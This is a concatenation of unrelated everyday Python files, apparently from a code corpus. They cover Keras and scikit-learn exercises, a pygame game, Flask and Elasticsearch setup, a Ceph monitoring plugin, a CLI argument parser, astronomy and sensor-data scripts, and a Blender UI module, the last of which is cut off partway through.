import tensorflow as tf
import matplotlib.pyplot as plt

class myCallbacks(tf.keras.callbacks.Callback):
    def on_epoch_end(self, epoch, logs={}):
        if(logs.get('accuracy') > 0.99):
            print("\nYou reached to 99% acuuracy, so training has been stopped...!")
            self.model.stop_training = True

data = tf.keras.datasets.mnist

(X_train, y_train),(X_test, y_test) = data.load_data()

X_train = X_train / 255.0
X_test = X_test / 255.0

callbacks = myCallbacks()

model = tf.keras.models.Sequential([tf.keras.layers.Flatten(),
                                    tf.keras.layers.Dense(128, activation = tf.nn.relu),
                                    tf.keras.layers.Dense(10, activation = tf.nn.softmax)])

model.compile(optimizer = tf.keras.optimizers.Adam(),
              loss = 'sparse_categorical_crossentropy',
              metrics = ['accuracy'])

model.fit(X_train, y_train, epochs = 10, callbacks = [callbacks])

print("\n Accuracy = ", end="")
print(model.evaluate(X_test, y_test))


# -*- coding: utf-8 -*-
# Import flask and template operators
from flask import Flask

# Define the WSGI application object
app = Flask(__name__)
app.config['MAX_IMAGE_SIZE'] = 16 * 1024 * 1024

# Configurations
app.config.from_object('artsquare_config')

# # Sample HTTP error handling
# @app.errorhandler(404)
# def not_found(error):
#     return "render_template('404.html')", 404

from modules import init_modules
init_modules(app)

if __name__ == '__main__':
	app.run(host='localhost', port=2543, debug=True)


from random import randint
from configparser import ConfigParser
from os.path import join

import pygame
from pygame.locals import K_DOWN, K_ESCAPE, K_LEFT, K_RIGHT, K_SPACE, K_UP, K_r, QUIT
from pygame.sprite import GroupSingle, spritecollideany, groupcollide, Group, spritecollide

from constants import TITLE
from sprites import Ship, AsteroidGroup, ShipGroup, ScoreSprite, ExplodingAsteroidsGroup

__author__ = 'julio'

class UserInput:
    def __init__(self):
        self.left = False
        self.right = False
        self.up = False
        self.down = False
        self.quit = False
        self.fire = False
        self.restart = False

    def reset(self):
        self.__init__()

class Game:
    def __init__(self):
        pygame.init()
        config = ConfigParser()
        config.read('settings.cfg')
        self.width = int(config['VIDEO']['width'])
        self.height = int(config['VIDEO']['height'])
        self.fullscreen = config['VIDEO']['fullscreen'] == 'yes'
        self.player = config['USER']['player']
        self.__config()
        self.__init_screen()
        self.__init_font()
        self.__init_sound()

    def __config(self):
        self.clock = pygame.time.Clock()
        self.elements = {}
        self.input = UserInput()
        self.ship_collides = []
        self.ship_catches = []
        self.newPU = False
        self.score = 0
        self.game_over = False

    def __init_font(self):
        pygame.font.init()
        font_name = pygame.font.get_default_font()
        self.game_font = pygame.font.SysFont(font_name, 72)
        self.score_font = pygame.font.SysFont(font_name, 38)

    def __init_screen(self):
        resolution = (self.width, self.height)
        flags = 0
        if self.fullscreen:
            flags += pygame.FULLSCREEN
        depth = 9
        self.screen = pygame.display.set_mode(resolution, flags, depth)
        pygame.display.set_caption(TITLE)

    def __init_sound(self):
        self.explosion_sound = pygame.mixer.Sound(join('sfx', 'boom.ogg'))
        self.laser_sound = pygame.mixer.Sound(join('sfx', 'laser.ogg'))
        self.background_sound = pygame.mixer.Sound(join('sfx', 'background.ogg'))

    def update_input(self):
        self.input.reset()
        pressed = pygame.key.get_pressed()

        self.input.up = pressed[K_UP]
        self.input.down = pressed[K_DOWN]
        self.input.left = pressed[K_LEFT]
        self.input.right = pressed[K_RIGHT]
        self.input.fire = pressed[K_SPACE]
        self.input.restart = pressed[K_r]

        for event in pygame.event.get():
            if event.type == QUIT:
                self.input.quit = True
                break
        else:
            self.input.quit = pressed[K_ESCAPE]

    def update(self):
        for element in self.elements.values():
            element.update()

    def draw(self):
        self.screen.blit(self.background, (0, 0))
        for element in self.elements.values():
            element.draw(self.screen)
        pygame.display.update()

    def detect_collision(self):
        if self.elements['ship'].sprite:
            self.ship_collides = spritecollideany(self.elements['ship'].sprite, self.elements['asteroids'])
            self.ship_catches = spritecollide(self.elements['ship'].sprite, self.elements['power-ups'], True)

        if groupcollide(self.elements['lasers'], self.elements['asteroids'], True, True):
            if randint(1, 20) == 1:
                self.newPU = True
            self.score_add(50)

    def score_add(self, value):
        self.score += value

    def run(self):
        self.background_sound.set_volume(0.3)
        self.background_sound.play(loops=-1)
        background_filename = join('gfx', 'bg_big.png')
        background_image = pygame.image.load(background_filename).convert()
        self.background = pygame.transform.scale(background_image, (self.width, self.height))

        self.elements['score'] = GroupSingle(ScoreSprite(self))
        self.elements['power-ups'] = Group()
        self.elements['exploding_asteroids'] = ExplodingAsteroidsGroup()
        self.elements['lasers'] = Group()
        self.elements['asteroids'] = AsteroidGroup(join('gfx', 'asteroid.png'), self)
        self.elements['ship'] = ShipGroup(sprite=Ship(join('gfx', 'ship.png'), 48, 48, self))

        while True:
            self.update_input()
            self.update()
            self.draw()
            self.detect_collision()
            if self.input.quit:
                raise SystemExit
            if self.input.restart:
                self.restart()
            self.clock.tick(30)

    def restart(self):
        self.background_sound.stop()
        self.__config()
        self.run()


# -*- coding: utf-8 -*-
"""
Created on Sun Feb  6 08:32:00 2022

@author: SHERIF ATITEBI O
"""

import numpy as np
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import StandardScaler
from sklearn.naive_bayes import GaussianNB
from sklearn.metrics import confusion_matrix, accuracy_score
#%%

dataset = pd.read_csv("Social_Network_Ads.csv")
x = dataset.iloc[:, :-1].values
y = dataset.iloc[:, -1].values
#%%

#Splitting into training set and test set
x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.25, random_state=0)
#%%

#feature scaling
sc = StandardScaler()
x_train = sc.fit_transform(x_train)
x_test = sc.transform(x_test)
#%%

#Logistic Regression Model
classifier = GaussianNB()
classifier.fit(x_train, y_train)
#%%

# Predicting the test set
y_pred = classifier.predict(x_test)
print(np.concatenate((y_pred.reshape(len(y_pred), 1), y_test.reshape(len(y_test), 1)), 1))
#%%

#Confusion Matrix
cm = confusion_matrix(y_test, y_pred)
print(cm)
print(accuracy_score(y_test, y_pred))
#%%


# -*- coding: utf-8 -*-
"""
Created on Mon Apr  5 19:44:51 2021

@author: lankuohsing
"""

# In[]
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers
# In[]
model=keras.Sequential(
        [
                keras.Input(shape=(2,),name="InputX"),
                layers.Dense(units=3),
                layers.Dense(units=4),
                ]

        )
print("Number of weights: ",len(model.weights))
print("Number of layers: ",len(model.layers))


from sklearn.feature_extraction import stop_words
# Define function
def get_bow_from_docs(docs, stop_words=[]):
    # In the function, first define the variables you will use such as `corpus`, `bag_of_words`, and `term_freq`.
    corpus = []
    for doc in docs:
        corpus.append(open(doc, 'r').read())
        corpus2 = []
    """
    Loop `docs` and read the content of each doc into a string in `corpus`.
    Remember to convert the doc content to lowercases and remove punctuation.
    """

    for i in corpus:
        corpus2.append(i.lower().replace(".", ""))
    bag_of_words = []

    for i in corpus2:
        words = i.split()
        for w in words:
            if w not in bag_of_words and w not in stop_words:
                bag_of_words.append(w)

    # notin_stopwords = [item for item in bag_of_words if item not in stop_words]
    print(bag_of_words)
    term_freq = []
    items = []

    for i in corpus2:
        items.append(i.split())

    for i in range(len(items)):
        temp = []
        for y in bag_of_words:
            temp.append(items[i].count(y))
        term_freq.append(temp)

    """
    Loop `corpus`. Append the terms in each doc into the `bag_of_words` array. The terms in `bag_of_words`
    should be unique which means before adding each term you need to check if it's already added to the array.
    In addition, check if each term is in the `stop_words` array. Only append the term to `bag_of_words`
    if it is not a stop word.
    """

    """
    Loop `corpus` again. For each doc string, count the number of occurrences of each term in `bag_of_words`.
    Create an array for each doc's term frequency and append it to `term_freq`.
    """

    # Now return your output as an object
    return {
        "bag_of_words": bag_of_words,
        "term_freq": term_freq
    }

# Define doc paths array

docs = ['doc1.txt','doc2.txt','doc3.txt']

# Obtain BoW from your function
bow = get_bow_from_docs(docs)

# Print BoW
print(bow)


import pytest
import yaml

class TestDemo:
    @pytest.mark.parametrize('env',yaml.safe_load(open('./env.yml')))
    def test_demo(self,env):
        if 'test' in env:
            print("which is test env")
            print(env['test'])
        elif 'dev' in env:
            print('this is programmer env')
            print(env)
    # def test_yaml(self):
    #     print(yaml.safe_load(open('./')))


from elasticsearch_dsl.connections import connections
from elasticsearch_dsl import DocType, Text, Date, Integer, Search
from elasticsearch.helpers import bulk
from elasticsearch import Elasticsearch

connections.create_connection(hosts='db_elastic')

class CourseIndex(DocType):
	name = Text()
	description = Text()

	class Index:
		name = 'course'
		settings = {
			"number_of_shards": 2,
			"blocks": {
				"read_only_allow_delete": "false"
			},
		}

class LessonIndex(DocType):
	name = Text()
	description = Text()
	tags = Text()

	class Index:
		name = 'lesson'
		settings = {
			"number_of_shards": 2,
			"blocks": {
				"read_only_allow_delete": "false"
			},
		}

class WebinarIndex(DocType):
	name = Text()
	description = Text()

	class Index:
		name = 'webinar'
		settings = {
			"number_of_shards": 2,
			"blocks": {
				"read_only_allow_delete": "false"
			},
		}

class SpecializationIndex(DocType):
	name = Text()
	city = Text()
	salary = Text()
	requirements = Text()
	description = Text()

	class Index:
		name = 'vacancy'
		settings = {
			"number_of_shards": 2,
			"blocks": {
				"read_only_allow_delete": "false"
			},
		}

def do_indexing(model, es, esIndex):
	esIndex.init()
	bulk(client=es, actions=(
		b.indexing() for b in model.objects.all().iterator() ))

def create_index(model, index, esIndex):
	es = Elasticsearch(['http://db_elastic:9200/'])
	if not es.indices.exists(index=index):
		do_indexing(model, es, esIndex)

def search(index, query):
	s = Search(index=index).query('multi_match', query=query, fields=['name', 'description', 'city', 'salary',
	                                                                  'requirements', 'tags'])

	response = s.execute()
	return response


from DNN.linear_activations import *
import numpy as np

def L_layer_backward(AL, Y, caches):
    """
    :param AL: output of the forward propagation
    :param Y: true "label" vector
    :param caches: list of caches containing cache of linear_activation_forward with "relu"
                    and cache of linear_activation_forward with "sigmoid"
    :return:
    grads: dictionary containing gradients:
                                            grads["dA" + str(l)] = ...
                                            grads["dW" + str(l)] = ...
                                            grads["db" + str(l)] = ...
    """
    grads = {}
    L = len(caches)
    m = AL.shape[1]
    Y = Y.reshape(AL.shape)

    cache = caches[L-1]
    dAL = -(np.divide(Y, AL) - np.divide((1-Y), (1-AL)))

    grads["dA" + str(L)],\
    grads["dW" + str(L)],\
    grads["db" + str(L)] = \
        linear_activation_backward(dAL, cache, "sigmoid_activation_backward")
        # linear_activation_backward(dAL, cache, "tanh_activation_backward")

    for l in reversed(range(L-1)):
        cache = caches[l]
        grads["dA" + str(l+1)], \
        grads["dW" + str(l+1)], \
        grads["db" + str(l+1)] = \
            linear_activation_backward(grads["dA" + str(l+2)], cache, "relu_activation_backward")

    return grads


import subprocess
import json
import string
from sensu_plugin import SensuPluginMetricGraphite

class PgStats(SensuPluginMetricGraphite):
    def run(self):
        pg_stat = subprocess.Popen("ceph pg stat --format=json".split(" "), stdout=subprocess.PIPE).stdout.read()
        pg_data = json.loads(pg_stat)
        step1 = pg_data["num_pg_by_state"]
        state_stats = {
                "active": 0,
                "clean": 0,
                "down": 0,
                "replay": 0,
                "splitting": 0,
                "scrubbing": 0,
                "scrubq": 0,
                "degraded": 0,
                "inconsistent": 0,
                "peering": 0,
                "repair": 0,
                "recovering": 0,
                "backfill_wait": 0,
                "incomplete": 0,
                "stale": 0,
                "remapped": 0,
                "deep_scrub": 0,
                "backfill": 0,
                "backfill_toofull": 0,
                "recovery_wait": 0,
                "undersized": 0,

        }
        for pg in step1:
            state = pg["name"]
            slist = string.split(state, "+")
            for s in slist:
                if s in state_stats:
                    state_stats[s] += pg["num"]

        for k in state_stats:
            self.output('ceph.pg.' + k, state_stats[k])
        self.ok()

if __name__ == '__main__':
    f = PgStats()


import sys
from argparse import ArgumentParser
from .const import ARGUMENT_PLACEHOLDER
from .utils import get_alias

class Parser(object):
    def __init__(self):
        self._parser = ArgumentParser(prog='thefuck', add_help=False)
        self._parser.add_argument(
            '-v', '--version',
            action='store_true',
            help="show program's version number and exit")
        self._parser.add_argument(
            '-a', '--alias',
            nargs='?',
            const=get_alias(),
            help='[custom-alias-name] prints alias for current shell')
        self._parser.add_argument(
            '-h', '--help',
            action='store_true',
            help='show this help message and exit')
        self._parser.add_argument(
            '-y', '--yes',
            action='store_true',
            help='execute fixed command without confirmation')
        self._parser.add_argument(
            '-d', '--debug',
            action='store_true',
            help='enable debug output')
        self._parser.add_argument('command',
                                  nargs='*',
                                  help='command that should be fixed')

    def _get_arguments(self, argv):
        if ARGUMENT_PLACEHOLDER in argv:
            index = argv.index(ARGUMENT_PLACEHOLDER)
            return argv[index + 1:] + ['--'] + argv[:index]
        elif argv and not argv[0].startswith('-') and argv[0] != '--':
            return ['--'] + argv
        else:
            return argv

    def parse(self, argv):
        arguments = self._get_arguments(argv[1:])
        return self._parser.parse_args(arguments)

    def print_usage(self):
        self._parser.print_usage(sys.stderr)

    def print_help(self):
        self._parser.print_help(sys.stderr)


# -*- coding: utf-8 -*-
"""
@author: Wei, Shuowen

https://leetcode.com/problems/check-if-n-and-its-double-exist/

LC1, LC1346
"""
class Solution(object):
    def checkIfExist(self, arr):
        """
        :type arr: List[int]
        :rtype: bool
        """
        dict_double = {}
        for a in arr:
            if a*2 in dict_double:
                return True
            if a%2==0 and a/2 in dict_double:
                return True
            dict_double[a] = 0
        return False


#
# LSST Data Management System
# Copyright 2017 LSST Corporation.
#
# This product includes software developed by the
# LSST Project (http://www.lsst.org/).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the LSST License Statement and
# the GNU General Public License along with this program.  If not,
# see <http://www.lsstcorp.org/LegalNotices/>.
#
import os
import sys
import shutil
import yaml

def findYamlOnPath(fileName, searchPath):
    """Find and return a file somewhere in the directories listed in searchPath"""
    for d in searchPath:
        f = os.path.join(d, fileName)
        if os.path.exists(f):
            return f

    raise FileNotFoundError("Unable to find %s on path %s" % (fileName, ":".join(searchPath)))

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser(description="""
    Generate a camera.yaml file for a camera by assembling descriptions of rafts, sensors, etc.

    Because we have many similar cameras, the assembly uses a :-separated search path of directories
    to find desired information.  The _first_ occurrence of a filename is used.
    """)

    parser.add_argument('outputFile', type=str, help="Name of generated file")
    parser.add_argument('--path', type=str, help="List of directories to search for components",
                        default=False)
    parser.add_argument('--verbose', action="store_true", help="How chatty should I be?", default=False)

    args = parser.parse_args()

    cameraFile = args.outputFile
    cameraFileDir = os.path.dirname(cameraFile)

    searchPath = []
    for d in args.path.split(":"):
        searchPath.append(os.path.join(cameraFileDir, d))

    cameraSklFile = findYamlOnPath("cameraHeader.yaml", searchPath)
    with open(cameraSklFile) as fd:
        cameraSkl = yaml.load(fd, Loader=yaml.Loader)

    with open(findYamlOnPath("rafts.yaml", searchPath)) as fd:
        raftData = yaml.load(fd, Loader=yaml.Loader)

    with open(findYamlOnPath("ccdData.yaml", searchPath)) as fd:
        ccdData = yaml.load(fd, Loader=yaml.Loader)

    shutil.copyfile(cameraSklFile, cameraFile)

    nindent = 0        # current number of indents

    def indent():
        """Return the current indent string"""
        dindent = 2    # number of spaces per indent
        return(nindent*dindent - 1)*" "   # print will add the extra " "

    with open(cameraFile, "a") as fd:
        print("""
#
# Define our specific devices
#
# All the CCDs present in this file
#
CCDs :\
""", file=fd)

        for raftName, perRaftData in raftData["rafts"].items():
            try:
                with open(findYamlOnPath("%s.yaml" % raftName, searchPath)) as yfd:
                    raftCcdData = yaml.load(yfd, Loader=yaml.Loader)[raftName]
            except FileNotFoundError:
                print("Unable to load CCD descriptions for raft %s" % raftName, file=sys.stderr)
                continue

            try:
                detectorType = raftCcdData["detectorType"]
                _ccds = cameraSkl['RAFT_%s' % detectorType]["ccds"]        # describe this *type* of raft

                # only include CCDs in the raft for which we have a serial (the value isn't checked)
                ccds = {}
                for ccdName in raftCcdData["ccdSerials"]:
                    ccds[ccdName] = _ccds[ccdName]
                del _ccds

                amps = cameraSkl['CCD_%s' % detectorType]["amplifiers"]  # describe this *type* of ccd
            except KeyError:
                raise RuntimeError("Unknown detector type %s" % detectorType)

            try:
                crosstalkCoeffs = ccdData["crosstalk"][detectorType]
            except KeyError:
                crosstalkCoeffs = None

            nindent += 1

            raftOffset = perRaftData["offset"]
            id0 = perRaftData['id0']
            for ccdName, ccdLayout in ccds.items():
                print(indent(), "%s_%s : " % (raftName, ccdName), file=fd)
                nindent += 1
                print(indent(), "<< : *%s_%s" % (ccdName, detectorType), file=fd)
                print(indent(), "id : %s" % (id0 + ccdLayout['id']), file=fd)
                print(indent(), "serial : %s" % (raftCcdData['ccdSerials'][ccdName]), file=fd)
                print(indent(), "refpos : %s" % (ccdLayout['refpos']), file=fd)
                print(indent(), "offset : [%g, %g]" % (ccdLayout['offset'][0] + raftOffset[0],
                                                       ccdLayout['offset'][1] + raftOffset[1]), file=fd)

                if crosstalkCoeffs is not None:
                    namp = len(amps)
                    print(indent(), "crosstalk : [", file=fd)
                    nindent += 1
                    print(indent(), file=fd, end="")
                    for iAmp in amps:
                        for jAmp in amps:
                            print("%11.3e," % crosstalkCoeffs[iAmp][jAmp], file=fd, end='')
                        print(file=fd, end="\n" + indent())
                    nindent -= 1
                    print("]", file=fd)

                print(indent(), "amplifiers :", file=fd)
                nindent += 1
                for ampName, ampData in amps.items():
                    amplifierData = raftCcdData['amplifiers'][ccdName]

                    print(indent(), "%s :" % ampName, file=fd)

                    nindent += 1
                    print(indent(), "<< : *%s_%s" % (ampName, detectorType), file=fd)
                    print(indent(), "gain : %g" % (amplifierData[ampName]['gain']), file=fd)
                    print(indent(), "readNoise : %g" % (amplifierData[ampName]['readNoise']), file=fd)
                    nindent -= 1
                nindent -= 1

                nindent -= 1

            nindent -= 1


##  1. Definition to reorganize original data.frame
def config_HOBO_data(HOBO_df):
    '''
    Routine to re-organize original HOBO dataframe imported to
    one that is organized by:

    1. DateTime
    2. Year
    3. Month number
    4. Day number
    5. Temperature

    By re-organizing the temperatue data to this format, it will
    be easier to average all the temperature recordings for each day
    of each month.

    Input:
      - 'HOBO_df': The original data frame of HOBO data, imported.
    '''
    import datetime
    import pandas as pd

    ##  > Parsing time Stamps from original HOBO data:
    yy, mm, dd = [], [], []  ##  year, month, day
    hh, mn, ss = [], [], []  ##  hour, minute, second
    gmt_time = ['Date Time, GMT-07:00', 'Date Time, GMT-08:00']
    for gmt in gmt_time:
        if gmt in HOBO_df.columns.values:
            for time_stamp in pd.to_datetime(HOBO_df[gmt]):
                yy.append(time_stamp.year)
                mm.append(time_stamp.month)
                dd.append(time_stamp.day)
                hh.append(time_stamp.hour)
                mn.append(time_stamp.minute)
                ss.append(time_stamp.second)
    t = []
    for year, month, day, hour, minute, second in zip(yy, mm, dd, hh, mn, ss):
        t.append(datetime.datetime(year, month, day, hour, minute, second))
    ##  > Organize a new dictionary of data fields to be included in newly
    ##    configured data frame.
    data_fields = {
        'DateTime' : t,
        'Year' : yy,
        'Month' : mm,
        'Day' : dd,
        'Hour' : hh,
        'Minute' : mn,
        'Second' : ss,
        ##  - NOTE:
        ##  *** Must fix the routine to check for the SERIAL number after S/N and SEN S/N  ***
        'Temperature' : HOBO_df['Temp']
    }
    ##  > Creating newly configured data frame object:
    reconfig_hobo_df = pd.DataFrame(data_fields)
    return reconfig_hobo_df


from nltk.corpus import brown
import numpy

feature_dictionary = []
feature_map = {}
for word in brown.words():
  word = word.lower()
  if word not in feature_map:
    feature_map[word] = len(feature_dictionary)
    feature_dictionary.append(word)

frequency_matrix = numpy.zeros((len(feature_dictionary), len(brown.fileids())), dtype=numpy.uint32)
for document_index, document in enumerate(brown.fileids()):
  for word in brown.words(document):
    word = word.lower()
    frequency_matrix[feature_map[word], document_index] += 1

with open("/tmp/feature-dictionary.scidb", "w") as file:
  file.write("{0}[\n")
  for feature in feature_dictionary[:-1]:
    file.write("(\"%s\"),\n" % feature)
  for feature in feature_dictionary[-1:]:
    file.write("(\"%s\")\n" % feature)
  file.write("]\n")

with open("/tmp/frequency-matrix.csv", "w") as file:
  for i in range(frequency_matrix.shape[0]):
    for j in range(frequency_matrix.shape[1]):
      file.write("%s,%s,%s\n" % (i, j, frequency_matrix[i, j]))


import bpy
from ..utils.geo import get_blf_text_dims
from ..graphics.load import load_image_file
from ..graphics.draw import render_text
from ..window.panel.widget.layout.grid.elements.text import Text_Element
from ..window.panel.widget.layout.grid.elements.background import Background_Element
from ..window.panel.widget.layout.grid.elements.image import Image_Element
from ..window.panel.widget.layout.grid.elements.border import Border_Element

class Fast_UI():

    def __init__(self, db):

        self.db = db
        self.show = True

        # Start up data
        self.start_mouse_pos = None

        # Dims
        self.y_offset_mouse = 60 * self.db.scale_factor
        self.panel_padding = self.db.prefs.ui.Hops_modal_fast_ui_padding * self.db.scale_factor
        self.font_size = 12
        self.cell_padding = 12 #* self.db.scale_factor
        self.text_padding = 8 # * self.db.scale_factor

        # Switches
        self.first_in = True

        # Help
        self.show_help = self.db.prefs.ui.Hops_modal_auto_show_help
        self.show_global_help = False
        if self.show_help == False:
            self.show_help = self.db.prefs.ui.Hops_modal_help_left_open

        # Mods
        self.start_mod_hidden = False
        self.show_mods = self.db.prefs.ui.Hops_modal_auto_show_mods
        if self.show_mods == False:
            self.show_mods = self.db.prefs.ui.Hops_modal_mods_left_open

        self.location_option = 1    # NOTE: 1 = Center, 2 = Follow Mouse, 3 = Stays at mouse Pos

        # Drawing
        self.help = Help(db=self.db)
        self.boxes = []
        self.image = None
        self.mods = Mods(db=self.db)

    def clear(self):

        self.boxes = []

    def build_main(self, win_list=[], help_list=[], image="", mods_list=[], active_mod_name="", mods_label_text="Press M", number_mods=True):

        # Overrides
        self.mods.label_text = mods_label_text
        self.mods.number_mods = number_mods

        if self.start_mouse_pos == None:
            self.start_mouse_pos = self.db.event.mouse_pos

        # Override example in : Adjust Viewport
        if self.start_mod_hidden:
            if self.db.event.m_key_pressed:
                self.show_mods = True
                self.start_mod_hidden = False
            self.show_mods = False

        # Hot key checks
        self.hot_key_toggles()

        # Mods Panels
        self.mods.mod_items = mods_list
        if self.show_mods or self.db.prefs.ui.Hops_modal_mods_left_open:
            if mods_list != []:
                self.mods.active_mod_name = active_mod_name
                self.mods.already_sliced = False

        # Help Panel
        if self.show_help or self.db.prefs.ui.Hops_modal_help_left_open:
            self.help.help_items = help_list

        # Main Panel
        if win_list != []:

            bottom_left = (0, 0)

            prefs_y_offset = self.db.prefs.ui.Hops_modal_fast_ui_main_y_offset

            # Main banner is centered
            if self.location_option == 1:
                width = get_text_width(win_list=win_list, font_size=self.font_size) + 32 * self.db.scale_factor
                bottom_left = ((self.db.event.screen_width * .5) - (width * .5), self.panel_padding + prefs_y_offset)

            # Main banner will follow the mouse
            elif self.location_option == 2:
                bottom_left = (self.db.event.mouse_pos[0], self.db.event.mouse_pos[1] - self.y_offset_mouse)

            # Main banner will follow the mouse
            elif self.location_option == 3:
                bottom_left = (self.start_mouse_pos[0], self.start_mouse_pos[1] - self.y_offset_mouse)

            # Add image box
            bottom_left = self.setup_image_box(image=image, bottom_left=bottom_left)

            # Add text boxes
            self.setup_text_boxes(win_list=win_list, bottom_left=bottom_left)

    def setup_text_boxes(self, win_list=[], bottom_left=(0,0)):

        text_height = get_blf_text_dims(text="SAMPLE", size=self.font_size)[1]

        for item in win_list:

            font_dims = get_blf_text_dims(text=str(item), size=self.font_size)

            # Text box setup
            box = Box(db=self.db)

            # Dims
            box.bottom_left = bottom_left

            box.bottom_right = (
                bottom_left[0] + font_dims[0] + (self.text_padding * 2),
                bottom_left[1])

            box.top_left = (
                bottom_left[0],
                bottom_left[1]  + text_height + (self.text_padding * 2))

            box.top_right = (
                bottom_left[0] + font_dims[0] + (self.text_padding * 2),
                bottom_left[1]  + text_height + (self.text_padding * 2))

            # Text
            box.text = str(item)

            # Build elements
            box.setup(text_height=text_height)

            # Add to the drawing list
            self.boxes.append(box)

            # Add to bottom left
            bottom_left = (bottom_left[0] + self.cell_padding + font_dims[0] + (self.text_padding * 2),
                        bottom_left[1])

    def setup_image_box(self, image="", bottom_left=(0,0)):

        # Add image box
        if image != "":

            if self.image == None:
                self.image = load_image_file(filename=image)

            # Font size sample
            font_dims = get_blf_text_dims(text="SAMPLE", size=self.font_size)

            # Box setup
            box = Box(db=self.db)

            box.using_text = False
            box.image = self.image
            box.force_fit = True

            # Dims
            box.bottom_left = bottom_left

            box.bottom_right = (
                bottom_left[0] + font_dims[1] + (self.text_padding * 2),
                bottom_left[1])

            box.top_left = (
                bottom_left[0],
                bottom_left[1] + font_dims[1] + (self.text_padding * 2))

            box.top_right = (
                bottom_left[0] + font_dims[1] + (self.text_padding * 2),
                bottom_left[1] + font_dims[1] + (self.text_padding * 2))

            # Build elements
            box.setup()

            # Add to the drawing list
            self.boxes.append(box)

            # Add to bottom left
            bottom_left = (bottom_left[0] + self.cell_padding + font_dims[1] + (self.text_padding * 2),
                            bottom_left[1])

        return bottom_left

    def hot_key_toggles(self):

        # Toggle Help
        if self.db.event.h_key_pressed:
            if not self.db.event.shift_pressed:
                self.show_help = not self.show_help
                self.db.prefs.ui.Hops_modal_help_left_open = self.show_help
                self.show_global_help = False
            if self.show_help and self.db.event.shift_pressed:
                self.show_global_help = not self.show_global_help

        # Toggle Mods
        if self.db.event.m_key_pressed == True and not self.db.event.shift_pressed:
            self.show_mods = not self.show_mods
            self.db.prefs.ui.Hops_modal_mods_left_open = self.show_mods

        # Toggle UI Follow
        if self.db.event.accent_grave_pressed == True and not self.db.event.shift_pressed:

            if self.db.prefs.ui.Hops_modal_fast_ui_loc_options == 1:
                self.db.prefs.ui.Hops_modal_fast_ui_loc_options = 2

            elif self.db.prefs.ui.Hops_modal_fast_ui_loc_options == 2:
                self.db.prefs.ui.Hops_modal_fast_ui_loc_options = 3

            elif self.db.prefs.ui.Hops_modal_fast_ui_loc_options == 3:
                self.db.prefs.ui.Hops_modal_fast_ui_loc_options = 1

        self.location_option = self.db.prefs.ui.Hops_modal_fast_ui_loc_options

    def draw(self, context):

        # Main banner
        for box in self.boxes:
            box.draw()

        # Help
        if self.show_help:
            if self.show_global_help:
                self.help.draw(as_global=True)
            else:
                self.help.draw()
        elif self.db.prefs.ui.Hops_modal_help_show_label:
            self.help.draw_label()

        # Mods
        if self.show_mods:
            self.mods.draw(context)
            self.mods.already_sliced = True
        elif self.db.prefs.ui.Hops_modal_mods_show_label:
            self.mods.draw_label(context)

    def destroy(self):

        # Unload images
        if self.image != None:
            try:
                bpy.data.images.remove(self.image)
            except:
                pass

def get_text_width(win_list=[], font_size=12):

    if win_list != []:

        total_characters = 0
        for item in win_list:
            item = str(item)
            total_characters += len(item)

        return get_blf_text_dims(text=("X" * total_characters), size=font_size)[0]

    return 0

class Box():

    def __init__(self, db):

        self.db = db

        # Dims
        self.top_left = (0, 0)
        self.top_right = (0, 0)
        self.bottom_left = (0, 0)
        self.bottom_right = (0, 0)

        # Drawing
        self.using_text = True
        self.text = ""
        self.image = None
        self.text_element = Text_Element()
        self.background_element = Background_Element()
        self.image_element = Image_Element()
        self.border_element = Border_Element()
        self.setup_elements()

    def setup_elements(self):

        self.text_element.db = self.db
        self.background_element.db = self.db
        self.image_element.db = self.db
        self.border_element.db = self.db
        self.border_element.line_width = 1

    def setup(self, text_height=0):

        # Border
        if self.db.prefs.ui.Hops_modal_cell_border:
            self.border_element.top_left = self.top_left
            self.border_element.top_right = self.top_right
            self.border_element.bottom_left = self.bottom_left
            self.border_element.bottom_right = self.bottom_right

        # Background Element
        self.background_element.primary = False
        self.background_element.top_left = self.top_left
        self.background_element.top_right = self.top_right
        self.background_element.bottom_left = self.bottom_left
        self.background_element.bottom_right = self.bottom_right

        # Setup for text
        if self.using_text:

            # Text Element
            self.text_element.text = self.text
            self.text_element.force_fit_text = False
            self.text_element.color_select = 1
            self.text_element.set_y_external = True
            center = self.bottom_left[1] + ((self.top_left[1] - self.bottom_left[1]) * .5)
            center -= text_height * .5
            self.text_element.external_y = center
            self.text_element.top_left = self.top_left
            self.text_element.top_right = self.top_right
            self.text_element.bottom_left = self.bottom_left
            self.text_element.bottom_right = self.bottom_right

        # Setup for image
        else:

            # Image Element
            self.image_element.image = self.image
            self.image_element.force_fit = False
            self.image_element.top_left = self.top_left
            self.image_element.top_right = self.top_right
            self.image_element.bottom_left = self.bottom_left
            self.image_element.bottom_right = self.bottom_right

    def draw(self):

        self.background_element.draw()

        # Border
        if self.db.prefs.ui.Hops_modal_cell_border:
            self.border_element.draw()

        if self.using_text:
            self.text_element.draw()

        else:
            self.image_element.draw()

class Mods():

    def __init__(self, db):

        self.db = db

        # Text Dims
        self.padding_LR = 8 # * self.db.scale_factor
        self.padding_TB = 8 # * self.db.scale_factor
        self.panel_padding = self.db.prefs.ui.Hops_modal_fast_ui_padding * self.db.scale_factor

        # Font
        self.font_size = int(12 * self.db.prefs.ui.Hops_modal_fast_ui_mods_size)

        # Mods list
        self.already_sliced = False
        self.active_mod_name = ""
        self.mod_items = []

        # Label
        self.label_text = "Press M"

        # Options
        self.number_mods = True

        # Drawing
        self.background_element = Background_Element()
        self.border_element = Border_Element()
        self.setup_elements()

    def setup_elements(self):

        self.background_element.db = self.db
        self.background_element.primary = False

        self.border_element.db = self.db
        self.border_element.line_width = 1

    def draw_label(self, context):

        if self.mod_items != []:
            prefs_x_offset = self.db.prefs.ui.Hops_modal_fast_ui_mods_offset[0]
            prefs_y_offset = self.db.prefs.ui.Hops_modal_fast_ui_mods_offset[1]

            text_dims = get_blf_text_dims(text=self.label_text, size=12)
            total_width = text_dims[0] + self.padding_LR
            total_height = text_dims[1] + self.padding_TB
            self.draw_elements(total_width=total_width, total_height=total_height)
